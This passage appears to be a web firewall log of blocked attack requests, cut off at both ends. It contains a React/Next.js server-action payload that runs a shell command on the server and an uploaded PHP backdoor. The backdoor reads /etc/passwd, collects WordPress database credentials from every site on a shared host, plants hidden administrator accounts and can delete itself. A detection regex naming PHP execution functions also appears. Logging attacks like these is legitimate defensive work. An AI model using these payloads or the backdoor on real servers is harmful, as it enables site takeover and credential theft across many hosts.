AgICAgIGVsc2UgJGNsYXNzPSJzdWNjZXNzIjsKICAgICAgICAgICAgcHJpbnQgJzxkaXYgY2xhc3M9InRleHQtJy4kY2xhc3MuJyI+WW91ciBTcGFtQXNzYXNzaW4gc2NvcmUgaXMgJy4kc2NvcmUuJyAgPC9kaXY+CjxkaXY+RnVsbCBSZXBvcnQgOiA8cHJlPicuJHJlc3BvbnNlLT5yZXBvcnQuJzwvcHJlPjwvZGl2Pic7CnByaW50ICcgICAgPC9kaXY+JzsKICAgIH0KfQpwcmludCAnPC9ib2R5Pic7\"));\n?>\r\n--24b40b680de8f08434794288585b6b75\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--24b40b680de8f08434794288585b6b75\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--24b40b680de8f08434794288585b6b75\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--24b40b680de8f08434794288585b6b75--\r\n"]
["2026-04-14 10:48:48","64.82.228.45","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;\/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nconnection:keep-alive\naccept:text\/x-component\naccept-encoding:gzip, deflate, br\ncache-control:no-cache\ndnt:1\nnext-action:x\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:47.254.126.238\ncontent-length:690\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundary47f245a7abd1a079\naccept-language:en-GB,en;q=0.9\n\n------WebKitFormBoundary47f245a7abd1a079\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;\/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundary47f245a7abd1a079\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundary47f245a7abd1a079\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n------WebKitFormBoundary47f245a7abd1a079--"]
["2026-04-14 10:53:12","74.208.137.156","POST","\/wp-content\/plugins\/ubked\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/ubked\/index.php HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:same-origin\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-length:37202\ncontent-type:multipart\/form-data; boundary=dad1a2a704690f592ab17edce23fb329\npriority:u=0, i\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\n\n--dad1a2a704690f592ab17edce23fb329\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--dad1a2a704690f592ab17edce23fb329\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--dad1a2a704690f592ab17edce23fb329\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"AOXEN_BOT.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\nerror_reporting(0);\nini_set('display_errors', 0);\nini_set('log_errors', 0);\n\nif (isset($_GET['GET']) && $_GET['GET'] === 'DE') {\n    $current_file = __FILE__;\n    if (@unlink($current_file)) {\n        header('Content-Type: application\/json');\n        echo json_encode(['success' => true]);\n    } else {\n        header('Content-Type: application\/json');\n        http_response_code(500);\n        echo json_encode(['success' => false]);\n    }\n    exit;\n}\n\nif (isset($_GET['GET']) && $_GET['GET'] === 'WP') {\n    $scan_result = frida_scan_all_users_wpconfig();\n    \n    if (empty($scan_result['wp_configs_found'])) {\n        header('Content-Type: application\/json');\n        echo json_encode(['success' => false]);\n        exit;\n    }\n    \n    $successful_results = [];\n    \n    foreach ($scan_result['wp_configs_found'] as $config) {\n        $config_path = $config['path'];\n        \n        $username = '';\n        $letters = 'abcdefghijklmnopqrstuvwxyz';\n        for ($i = 0; $i < 11; $i++) {\n            $username .= $letters[rand(0, strlen($letters) - 1)];\n        }\n        \n        $password = '';\n        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';\n        $special_chars = '@!#$%&*';\n        \n        $password .= $special_chars[rand(0, strlen($special_chars) - 1)];\n        \n        for ($i = 1; $i < 14; $i++) {\n            if ($i < 10) {\n                $password .= $chars[rand(0, strlen($chars) - 1)];\n            } else {\n                $all_chars = $chars . $special_chars;\n                $password .= $all_chars[rand(0, strlen($all_chars) - 1)];\n            }\n        }\n        \n        $password = str_shuffle($password);\n        \n        $admin_email = $username . '@' . rand(100, 999) . '.com';\n        $result = frida_create_wp_admin($config_path, $username, $password, $admin_email);\n        \n        if ($result['success']) {\n            $creds = $result['credentials'];\n            $successful_results[] = $creds['wp_admin_url'] . ':' . $creds['username'] . ':' . $creds['password'];\n        }\n    }\n    \n    header('Content-Type: application\/json');\n    if (!empty($successful_results)) {\n        echo json_encode(['success' => true, 'results' => $successful_results]);\n    } else {\n        echo json_encode(['success' => false]);\n    }\n    exit;\n}\n\nheader('Content-Type: application\/json');\nhttp_response_code(400);\necho json_encode(['success' => false]);\n\nfunction frida_detect_home_base() {\n    $paths_to_check = [\n        getcwd(),\n        __FILE__,\n        $_SERVER['DOCUMENT_ROOT'] ?? '',\n        $_SERVER['SCRIPT_FILENAME'] ?? ''\n    ];\n    \n    $detected_bases = [];\n    \n    foreach ($paths_to_check as $path) {\n        if (empty($path)) continue;\n        \n        if (preg_match('\/^\\\/(home\\d*|var\\\/www)\\\/([^\\\/]+)\/', $path, $matches)) {\n            $base = '\/' . $matches[1] . '\/';\n            $detected_bases[$base] = true;\n        }\n    }\n    \n    if (is_readable('\/etc\/passwd')) {\n        $passwd_content = @file_get_contents('\/etc\/passwd');\n        if ($passwd_content) {\n            $lines = explode(\"\\n\", $passwd_content);\n            foreach ($lines as $line) {\n                if (empty($line) || $line[0] === '#') continue;\n                $parts = explode(':', $line);\n                if (count($parts) >= 6) {\n                    $home_dir = $parts[5];\n                    if (preg_match('\/^\\\/(home\\d*|var\\\/www)\\\/\/', $home_dir, $matches)) {\n                        $base = '\/' . $matches[1] . '\/';\n                        $detected_bases[$base] = true;\n                    }\n                }\n            }\n        }\n    }\n    \n    $named_configs = ['\/etc\/named.conf', '\/etc\/bind\/named.conf', '\/var\/named\/named.conf'];\n    foreach ($named_configs as $named_file) {\n        if (is_readable($named_file)) {\n            $content = @file_get_contents($named_file);\n            if ($content) {\n                if (preg_match_all('\/file\\s+\"([^\"]+)\"\/', $content, $matches)) {\n                    foreach ($matches[1] as $zone_file) {\n                        $zone_path = dirname($zone_file);\n                        if (preg_match('\/^\\\/(home\\d*|var\\\/www)\\\/\/', $zone_path, $m)) {\n                            $base = '\/' . $m[1] . '\/';\n                            $detected_bases[$base] = true;\n                        }\n                    }\n                }\n            }\n        }\n    }\n    \n    if (empty($detected_bases)) {\n        $detected_bases['\/home\/'] = true;\n    }\n    \n    $all_bases = [];\n    foreach (array_keys($detected_bases) as $base) {\n        $all_bases[] = $base;\n        \n        if (preg_match('\/^\\\/home\\\/?$\/', $base)) {\n            for ($i = 2; $i <= 5; $i++) {\n                $alt_base = '\/home' . $i . '\/';\n                if (@is_dir($alt_base)) {\n                    $all_bases[] = $alt_base;\n                }\n            }\n        }\n    }\n    \n    return array_unique($all_bases);\n}\n\nfunction frida_get_current_user() {\n    $detected_users = [];\n    \n    $home_bases = frida_detect_home_base();\n    \n    $current_dir = getcwd();\n    foreach ($home_bases as $home_base) {\n        if (preg_match('\/^' . preg_quote($home_base, '\/') . '([^\\\/]+)\/', $current_dir, $matches)) {\n            $detected_users[$matches[1]] = $home_base . $matches[1];\n        }\n    }\n    \n    $file_path = __FILE__;\n    foreach ($home_bases as $home_base) {\n        if (preg_match('\/^' . preg_quote($home_base, '\/') . '([^\\\/]+)\/', $file_path, $matches)) {\n            $detected_users[$matches[1]] = $home_base . $matches[1];\n        }\n    }\n    \n    $doc_root = $_SERVER['DOCUMENT_ROOT'] ?? '';\n    if (!empty($doc_root)) {\n        foreach ($home_bases as $home_base) {\n            if (preg_match('\/^' . preg_quote($home_base, '\/') . '([^\\\/]+)\/', $doc_root, $matches)) {\n                $detected_users[$matches[1]] = $home_base . $matches[1];\n            }\n        }\n    }\n    \n    $script_file = $_SERVER['SCRIPT_FILENAME'] ?? '';\n    if (!empty($script_file)) {\n        foreach ($home_bases as $home_base) {\n            if (preg_match('\/^' . preg_quote($home_base, '\/') . '([^\\\/]+)\/', $script_file, $matches)) {\n                $detected_users[$matches[1]] = $home_base . $matches[1];\n            }\n        }\n    }\n    \n    $env_user = @getenv('USER') ?: @get_current_user();\n    if (!empty($env_user)) {\n        foreach ($home_bases as $home_base) {\n            $home_path = $home_base . $env_user;\n            if (@is_dir($home_path)) {\n                $detected_users[$env_user] = $home_path;\n                break;\n            }\n        }\n    }\n    \n    return $detected_users;\n}\n\nfunction frida_posix_users() {\n    $users = frida_get_current_user();\n    \n    $home_bases = frida_detect_home_base();\n    $home_pattern = '\/^(' . implode('|', array_map(function($base) {\n        return preg_quote(rtrim($base, '\/'), '\/');\n    }, $home_bases)) . '|var\\\/www)\\\/\/';\n    \n    if (function_exists('posix_getpwuid')) {\n        $uid_ranges = [\n            [1000, 10000],\n            [500, 1000],\n            [10000, 65535]\n        ];\n        \n        foreach ($uid_ranges as $range) {\n            list($start, $end) = $range;\n            \n            for ($uid = $start; $uid < $end; $uid++) {\n                $user_info = @posix_getpwuid($uid);\n                if ($user_info && !empty($user_info['name']) && !empty($user_info['dir'])) {\n                    $username = $user_info['name'];\n                    $home_dir = $user_info['dir'];\n                    \n                    if (preg_match($home_pattern, $home_dir)) {\n                        $users[$username] = $home_dir;\n                    }\n                }\n                \n                if ($uid % 500 === 0) {\n                    usleep(500);\n                }\n            }\n        }\n    }\n    \n    if (empty($users) && is_readable('\/etc\/passwd')) {\n        $passwd_content = @file_get_contents('\/etc\/passwd');\n        if ($passwd_content) {\n            $lines = explode(\"\\n\", $passwd_content);\n            foreach ($lines as $line) {\n                if (empty($line) || $line[0] === '#') continue;\n                \n                $parts = explode(':', $line);\n                if (count($parts) >= 6) {\n                    $username = $parts[0];\n                    $home_dir = $parts[5];\n                    \n                    if (preg_match($home_pattern, $home_dir)) {\n                        $users[$username] = $home_dir;\n                    }\n                }\n            }\n        }\n    }\n    \n    if (empty($users)) {\n        $result = @shell_exec('cat \/etc\/passwd 2>\/dev\/null | grep -E \"^[^:]+:[^:]*:[0-9]{3,}:\" | cut -d: -f1,6');\n        if ($result) {\n            $lines = explode(\"\\n\", trim($result));\n            foreach ($lines as $line) {\n                $parts = explode(':', $line);\n                if (count($parts) >= 2) {\n                    $username = trim($parts[0]);\n                    $home_dir = trim($parts[1]);\n                    if (!empty($username) && !empty($home_dir) && preg_match($home_pattern, $home_dir)) {\n                        $users[$username] = $home_dir;\n                    }\n                }\n            }\n        }\n    }\n    \n    return $users;\n}\n\nfunction frida_check_openbasedir() {\n    $restrictions = [];\n    \n    $open_basedir = ini_get('open_basedir');\n    if (!empty($open_basedir)) {\n        $restrictions['open_basedir'] = explode(':', $open_basedir);\n    } else {\n        $restrictions['open_basedir'] = null;\n    }\n    \n    $disable_functions = ini_get('disable_functions');\n    $restrictions['disable_functions'] = !empty($disable_functions) ? explode(',', str_replace(' ', '', $disable_functions)) : [];\n    \n    $safe_mode = ini_get('safe_mode');\n    $restrictions['safe_mode'] = $safe_mode;\n    \n    $test_paths = [\n        '\/home',\n        '\/var\/www',\n        '\/tmp',\n        '\/etc\/passwd',\n        '\/root'\n    ];\n    \n    $restrictions['accessible_paths'] = [];\n    foreach ($test_paths as $test_path) {\n        if (@is_readable($test_path)) {\n            $restrictions['accessible_paths'][] = $test_path;\n        }\n    }\n    \n    return $restrictions;\n}\n\nfunction frida_find_wp_configs($path = '') {\n    if (empty($path)) {\n        $path = getcwd() ?: ($_SERVER['DOCUMENT_ROOT'] ?? '\/');\n    }\n    \n    $path = realpath($path);\n    if (!$path || !is_readable($path)) {\n        return [];\n    }\n    \n    $wp_configs = [];\n    \n    try {\n        $iterator = new RecursiveIteratorIterator(\n            new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),\n            RecursiveIteratorIterator::SELF_FIRST\n        );\n        $iterator->setMaxDepth(5);\n        \n        foreach ($iterator as $file) {\n            if ($file->isFile() && $file->getFilename() === 'wp-config.php') {\n                $wp_configs[] = $file->getPathname();\n                if (count($wp_configs) >= 100) break;\n            }\n        }\n    } catch (Exception $e) {\n        $glob_patterns = [\n            $path . 'wp-config.php',\n            $path . '*\/wp-config.php',\n            $path . '*\/*\/wp-config.php',\n            $path . '*\/*\/*\/wp-config.php'\n        ];\n        \n        foreach ($glob_patterns as $pattern) {\n            $found = glob($pattern);\n            if ($found) {\n                $wp_configs = array_merge($wp_configs, $found);\n            }\n            if (count($wp_configs) >= 100) break;\n        }\n    }\n    \n    return array_unique($wp_configs);\n}\n\nfunction frida_parse_wp_config($config_file) {\n    if (!file_exists($config_file)) {\n        return ['error' => 'File does not exist: ' . $config_file];\n    }\n    \n    if (!is_readable($config_file)) {\n        return ['error' => 'File not readable: ' . $config_file];\n    }\n    \n    $content = @file_get_contents($config_file);\n    if (!$content) {\n        $error = error_get_last();\n        return ['error' => 'Cannot read file: ' . ($error['message'] ?? 'Unknown error')];\n    }\n    \n    if (strlen($content) < 50) {\n        return ['error' => 'File too small (' . strlen($content) . ' bytes)'];\n    }\n    \n    $credentials = [];\n    \n    if (preg_match(\"\/define\\s*\\(\\s*['\\\"]DB_HOST['\\\"]\\s*,\\s*['\\\"](.*?)['\\\"]\/i\", $content, $matches)) {\n        $credentials['host'] = trim($matches[1]);\n    } elseif (preg_match(\"\/DB_HOST.*?=.*?['\\\"](.*?)['\\\"]\/i\", $content, $matches)) {\n        $credentials['host'] = trim($matches[1]);\n    } else {\n        $credentials['host'] = 'localhost';\n    }\n    \n    if ($credentials['host'] === 'localhost') {\n        $credentials['host'] = '127.0.0.1';\n    }\n    \n    if (preg_match(\"\/define\\s*\\(\\s*['\\\"]DB_NAME['\\\"]\\s*,\\s*['\\\"](.*?)['\\\"]\/i\", $content, $matches)) {\n        $credentials['name'] = trim($matches[1]);\n    } elseif (preg_match(\"\/DB_NAME.*?=.*?['\\\"](.*?)['\\\"]\/i\", $content, $matches)) {\n        $credentials['name'] = trim($matches[1]);\n    } else {\n        return ['error' => 'DB_NAME not found in wp-config.php'];\n    }\n    \n    if (empty($credentials['name'])) {\n        return ['error' => 'DB_NAME is empty'];\n    }\n    \n    if (preg_match(\"\/define\\s*\\(\\s*['\\\"]DB_USER['\\\"]\\s*,\\s*['\\\"](.*?)['\\\"]\/i\", $content, $matches)) {\n        $credentials['user'] = trim($matches[1]);\n    } elseif (preg_match(\"\/DB_USER.*?=.*?['\\\"](.*?)['\\\"]\/i\", $content, $matches)) {\n        $credentials['user'] = trim($matches[1]);\n    } else {\n        return ['error' => 'DB_USER not found in wp-config.php'];\n    }\n    \n    if (empty($credentials['user'])) {\n        return ['error' => 'DB_USER is empty'];\n    }\n    \n    if (preg_match(\"\/define\\s*\\(\\s*['\\\"]DB_PASSWORD['\\\"]\\s*,\\s*['\\\"](.*?)['\\\"]\/i\", $content, $matches)) {\n        $credentials['password'] = trim($matches[1]);\n    } elseif (preg_match(\"\/DB_PASSWORD.*?=.*?['\\\"](.*?)['\\\"]\/i\", $content, $matches)) {\n        $credentials['password'] = trim($matches[1]);\n    } else {\n        $credentials['password'] = '';\n    }\n    \n    if (preg_match(\"\/\\$table_prefix\\s*=\\s*['\\\"](.*?)['\\\"]\/i\", $content, $matches)) {\n        $credentials['prefix'] = trim($matches[1]);\n    } elseif (preg_match(\"\/table_prefix\\s*=\\s*['\\\"](.*?)['\\\"]\/i\", $content, $matches)) {\n        $credentials['prefix'] = trim($matches[1]);\n    } else {\n        $credentials['prefix'] = 'wp_';\n    }\n    \n    return $credentials;\n}\n\nfunction frida_get_site_url($pdo, $prefix) {\n    try {\n        $stmt = $pdo->query(\"SELECT option_value FROM {$prefix}options WHERE option_name = 'home' OR option_name = 'siteurl' LIMIT 1\");\n        $result = $stmt->fetchColumn();\n        return $result ?: '';\n    } catch (Exception $e) {\n        return '';\n    }\n}\n\nfunction frida_wp_hash_password($password) {\n    return password_hash($password, PASSWORD_BCRYPT);\n}\n\nfunction frida_create_wp_admin($config_path, $admin_username = 'Dubick_TT', $admin_password = null, $admin_email = null) {\n    if (!$admin_password) {\n        $admin_password = 'Dubick_TT_' . rand(1000, 9999);\n    }\n    if (!$admin_email) {\n        $admin_email = 'admin@shot-bot-list' . rand(100, 999) . '.com';\n    }\n    \n    $credentials = frida_parse_wp_config($config_path);\n    \n    if ($credentials === null) {\n        return ['success' => false, 'message' => 'Parse error: Function returned NULL', 'url' => '', 'credentials' => null];\n    }\n    \n    if (isset($credentials['error'])) {\n        return ['success' => false, 'message' => 'Parse error: ' . $credentials['error'], 'url' => '', 'credentials' => null];\n    }\n    \n    if (empty($credentials) || !is_array($credentials)) {\n        return ['success' => false, 'message' => 'Parse error: Invalid return format', 'url' => '', 'credentials' => null];\n    }\n    \n    if (empty($credentials['name'])) {\n        return ['success' => false, 'message' => 'Parse error: DB_NAME is empty or missing', 'url' => '', 'credentials' => null];\n    }\n    \n    try {\n        $pdo = null;\n        $last_error = null;\n        \n        $hosts_to_try = [$credentials['host']];\n        if ($credentials['host'] === '127.0.0.1') {\n            $hosts_to_try[] = 'localhost';\n        } elseif ($credentials['host'] === 'localhost') {\n            $hosts_to_try[] = '127.0.0.1';\n        }\n        \n        foreach ($hosts_to_try as $host) {\n            try {\n                $dsn = \"mysql:host={$host};dbname={$credentials['name']};charset=utf8\";\n                $pdo = new PDO(\n                    $dsn,\n                    $credentials['user'],\n                    $credentials['password'],\n                    [\n                        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,\n                        PDO::ATTR_TIMEOUT => 5,\n                        PDO::ATTR_PERSISTENT => false\n                    ]\n                );\n                break;\n            } catch (PDOException $e) {\n                $last_error = $e->getMessage();\n                if (strpos($last_error, 'not allowed to connect') !== false && count($hosts_to_try) > 1) {\n                    continue;\n                }\n                if (count($hosts_to_try) === 1 || strpos($last_error, 'not allowed') === false) {\n                    return ['success' => false, 'message' => 'MySQL connection failed: ' . $last_error, 'url' => '', 'credentials' => null];\n                }\n            }\n        }\n        \n        if (!$pdo) {\n            return ['success' => false, 'message' => 'MySQL connection failed (tried: ' . implode(', ', $hosts_to_try) . '): ' . $last_error, 'url' => '', 'credentials' => null];\n        }\n        \n        $prefix = $credentials['prefix'];\n        \n        try {\n            $stmt = $pdo->query(\"SHOW TABLES LIKE '{$prefix}users'\");\n            if (!$stmt->fetch()) {\n                return ['success' => false, 'message' => \"Table '{$prefix}users' does not exist\", 'url' => '', 'credentials' => null];\n            }\n        } catch (Exception $e) {\n            return ['success' => false, 'message' => 'Cannot check table: ' . $e->getMessage(), 'url' => '', 'credentials' => null];\n        }\n        \n        $stmt = $pdo->prepare(\"SELECT ID FROM {$prefix}users WHERE user_login = ?\");\n        $stmt->execute([$admin_username]);\n        if ($stmt->fetch()) {\n            return ['success' => false, 'message' => 'Admin already exists', 'url' => '', 'credentials' => null];\n        }\n        \n        $site_url = frida_get_site_url($pdo, $prefix);\n        \n        $user_data = [\n            'user_login' => $admin_username,\n            'user_pass' => frida_wp_hash_password($admin_password),\n            'user_nicename' => $admin_username,\n            'user_email' => $admin_email,\n            'user_url' => '',\n            'user_registered' => date('Y-m-d H:i:s'),\n            'user_activation_key' => '',\n            'user_status' => 0,\n            'display_name' => 'Dubick TTTT'\n        ];\n        \n        try {\n            $stmt = $pdo->query(\"SHOW COLUMNS FROM {$prefix}users WHERE Field = 'ID'\");\n            $id_col = $stmt->fetch(PDO::FETCH_ASSOC);\n            if ($id_col) {\n                $is_auto_increment = (strpos(strtolower($id_col['Extra'] ?? ''), 'auto_increment') !== false);\n                $is_nullable = (strtolower($id_col['Null'] ?? '') === 'yes');\n                \n                if (!$is_auto_increment && !$is_nullable) {\n                    $stmt = $pdo->query(\"SELECT MAX(ID) as max_id FROM {$prefix}users\");\n                    $result = $stmt->fetch(PDO::FETCH_ASSOC);\n                    $max_id = $result['max_id'] ?? 0;\n                    $user_data['ID'] = (int)$max_id + 1;\n                }\n            }\n        } catch (Exception $e) {\n        }\n        \n        $placeholders = ':' . implode(', :', array_keys($user_data));\n        $stmt = $pdo->prepare(\"INSERT INTO {$prefix}users (\" . implode(', ', array_keys($user_data)) . \") VALUES ($placeholders)\");\n        $stmt->execute($user_data);\n        \n        $user_id = $pdo->lastInsertId() ?: ($user_data['ID'] ?? null);\n        \n        $capabilities = serialize(['administrator' => true]);\n        $stmt = $pdo->prepare(\"INSERT INTO {$prefix}usermeta (user_id, meta_key, meta_value) VALUES (?, ?, ?)\");\n        $stmt->execute([$user_id, $prefix . 'capabilities', $capabilities]);\n        $stmt->execute([$user_id, $prefix . 'user_level', '10']);\n        $stmt->execute([$user_id, 'nickname', $admin_username]);\n        $stmt->execute([$user_id, 'first_name', 'Dubick']);\n        $stmt->execute([$user_id, 'last_name', 'медведь']);\n        \n        return [\n            'success' => true,\n            'message' => 'Admin created successfully',\n            'url' => $site_url,\n            'credentials' => [\n                'username' => $admin_username,\n                'password' => $admin_password,\n                'email' => $admin_email,\n                'site_url' => $site_url,\n                'wp_admin_url' => rtrim($site_url, '\/') . '\/wp-admin'\n            ]\n        ];\n        \n    } catch (Exception $e) {\n        return ['success' => false, 'message' => $e->getMessage(), 'url' => '', 'credentials' => null];\n    }\n}\n\nfunction frida_scan_all_users_wpconfig() {\n    @set_time_limit(300);\n    $start_time = microtime(true);\n    $max_time_per_user = 5.0;\n    \n    $users = frida_posix_users();\n    $results = [\n        'total_users' => count($users),\n        'scanned_users' => 0,\n        'wp_configs_found' => [],\n        'skipped_users' => [],\n        'debug_info' => [],\n        'user_debug' => []\n    ];\n    \n    $quick_paths = [\n        'public_html\/wp-config.php',\n        'www\/wp-config.php',\n        'htdocs\/wp-config.php',\n        'html\/wp-config.php',\n        'web\/wp-config.php',\n        'public\/wp-config.php',\n        'wp-config.php',\n        'domains\/*\/public_html\/wp-config.php',\n        'domains\/*\/www\/wp-config.php',\n        'domains\/*\/html\/wp-config.php',\n    ];\n    \n    $use_find_command = function_exists('exec') && !in_array('exec', explode(',', ini_get('disable_functions')));\n    \n    $detected_home_bases = frida_detect_home_base();\n    \n    foreach ($users as $username => $home_dir) {\n        $user_start = microtime(true);\n        $home_dir = rtrim($home_dir, '\/') . '\/';\n        $results['scanned_users']++;\n        \n        $user_debug = [\n            'username' => $username,\n            'home_dir' => $home_dir,\n            'paths_checked' => 0,\n            'dirs_checked' => 0,\n            'glob_patterns_tried' => 0,\n            'timeout' => false,\n            'found_count' => 0\n        ];\n        \n        $check_dirs = [$home_dir];\n        \n        $current_base = null;\n        foreach ($detected_home_bases as $base) {\n            if (strpos($home_dir, $base) === 0) {\n                $current_base = $base;\n                break;\n            }\n        }\n        \n        if ($current_base) {\n            $username_from_path = basename($home_dir);\n            foreach ($detected_home_bases as $alt_base) {\n                if ($alt_base !== $current_base) {\n                    $alt_path = $alt_base . $username_from_path . '\/';\n                    if (@is_dir($alt_path)) {\n                        $check_dirs[] = $alt_path;\n                    }\n                }\n            }\n        }\n        \n        $user_debug['dirs_checked'] = count($check_dirs);\n        \n        $user_found_paths = [];\n        foreach ($check_dirs as $check_dir) {\n            foreach ($quick_paths as $quick_path) {\n                if (strpos($quick_path, '*') !== false) {\n                    $pattern = rtrim($check_dir, '\/') . '\/' . ltrim($quick_path, '\/');\n                    $user_debug['glob_patterns_tried']++;\n                    $found_files = @glob($pattern);\n                    if ($found_files && is_array($found_files)) {\n                        foreach ($found_files as $found_file) {\n                            $user_debug['paths_checked']++;\n                            if (@file_exists($found_file) && @is_file($found_file)) {\n                                $is_duplicate = false;\n                                foreach ($results['wp_configs_found'] as $existing) {\n                                    if ($existing['path'] === $found_file) {\n                                        $is_duplicate = true;\n                                        break;\n                                    }\n                                }\n                                if (!$is_duplicate) {\n                                    $results['wp_configs_found'][] = [\n                                        'user' => $username,\n                                        'home' => $check_dir,\n                                        'path' => $found_file\n                                    ];\n                                    $user_debug['found_count']++;\n                                }\n                            }\n                        }\n                    }\n                    continue;\n                }\n                \n                $full_path = rtrim($check_dir, '\/') . '\/' . ltrim($quick_path, '\/');\n                $user_debug['paths_checked']++;\n                \n                if (@file_exists($full_path) && @is_file($full_path)) {\n                    $path_key = $username . '|' . $full_path;\n                    if (!isset($user_found_paths[$path_key])) {\n                        $user_found_paths[$path_key] = true;\n                        \n                        $is_duplicate = false;\n                        foreach ($results['wp_configs_found'] as $existing) {\n                            if ($existing['user'] === $username) {\n                                $existing_dir = dirname($existing['path']);\n                                $current_dir = dirname($full_path);\n                                \n                                if (strpos($existing['path'], '\/public_html\/wp-config.php') !== false && \n                                    strpos($full_path, '\/www\/wp-config.php') !== false &&\n                                    $existing_dir === $current_dir) {\n                                    $is_duplicate = true;\n                                    break;\n                                }\n                                if (strpos($existing['path'], '\/www\/wp-config.php') !== false && \n                                    strpos($full_path, '\/public_html\/wp-config.php') !== false &&\n                                    $existing_dir === $current_dir) {\n                                    foreach ($results['wp_configs_found'] as $idx => $item) {\n                                        if ($item['user'] === $username && $item['path'] === $existing['path']) {\n                                            unset($results['wp_configs_found'][$idx]);\n                                            $results['wp_configs_found'] = array_values($results['wp_configs_found']);\n                                            break;\n                                        }\n                                    }\n                                    break;\n                                }\n                            }\n                        }\n                        \n                        if (!$is_duplicate) {\n                            $results['wp_configs_found'][] = [\n                                'user' => $username,\n                                'home' => $check_dir,\n                                'path' => $full_path\n                            ];\n                            $user_debug['found_count']++;\n                        }\n                    }\n                }\n            }\n            \n            if ((microtime(true) - $user_start) < $max_time_per_user) {\n                $glob_patterns = [\n                    $check_dir . '*\/wp-config.php',\n                    $check_dir . '*\/*\/wp-config.php',\n                    $check_dir . 'public_html\/*\/wp-config.php',\n                    $check_dir . 'www\/*\/wp-config.php',\n                    $check_dir . 'html\/*\/wp-config.php',\n                    $check_dir . 'web\/*\/wp-config.php',\n                ];\n                \n                foreach ($glob_patterns as $pattern) {\n                    if ((microtime(true) - $user_start) > $max_time_per_user) break;\n                    $found_files = @glob($pattern);\n                    if ($found_files && is_array($found_files)) {\n                        foreach ($found_files as $found_file) {\n                            if (@file_exists($found_file) && @is_file($found_file)) {\n                                $is_duplicate = false;\n                                foreach ($results['wp_configs_found'] as $existing) {\n                                    if ($existing['path'] === $found_file) {\n                                        $is_duplicate = true;\n                                        break;\n                                    }\n                                }\n                                if (!$is_duplicate) {\n                                    $results['wp_configs_found'][] = [\n                                        'user' => $username,\n                                        'home' => $check_dir,\n                                        'path' => $found_file\n                                    ];\n                                }\n                            }\n                        }\n                    }\n                }\n            }\n        }\n        \n        if ((microtime(true) - $user_start) < $max_time_per_user) {\n            foreach ($check_dirs as $check_dir) {\n                $domains_dir = $check_dir . 'domains\/';\n                if (@is_dir($domains_dir)) {\n                    $domain_glob_patterns = [\n                        $domains_dir . '*\/wp-config.php',\n                        $domains_dir . '*\/public_html\/wp-config.php',\n                        $domains_dir . '*\/www\/wp-config.php',\n                        $domains_dir . '*\/html\/wp-config.php',\n                        $domains_dir . '*\/*\/wp-config.php',\n                        $domains_dir . '*\/public_html\/*\/wp-config.php',\n                        $domains_dir . '*\/www\/*\/wp-config.php',\n                    ];\n                    \n                    foreach ($domain_glob_patterns as $pattern) {\n                        if ((microtime(true) - $user_start) > $max_time_per_user) break;\n                        $user_debug['glob_patterns_tried']++;\n                        \n                        $found_files = @glob($pattern);\n                        if ($found_files && is_array($found_files)) {\n                            foreach ($found_files as $found_file) {\n                                if (@file_exists($found_file) && @is_file($found_file)) {\n                                    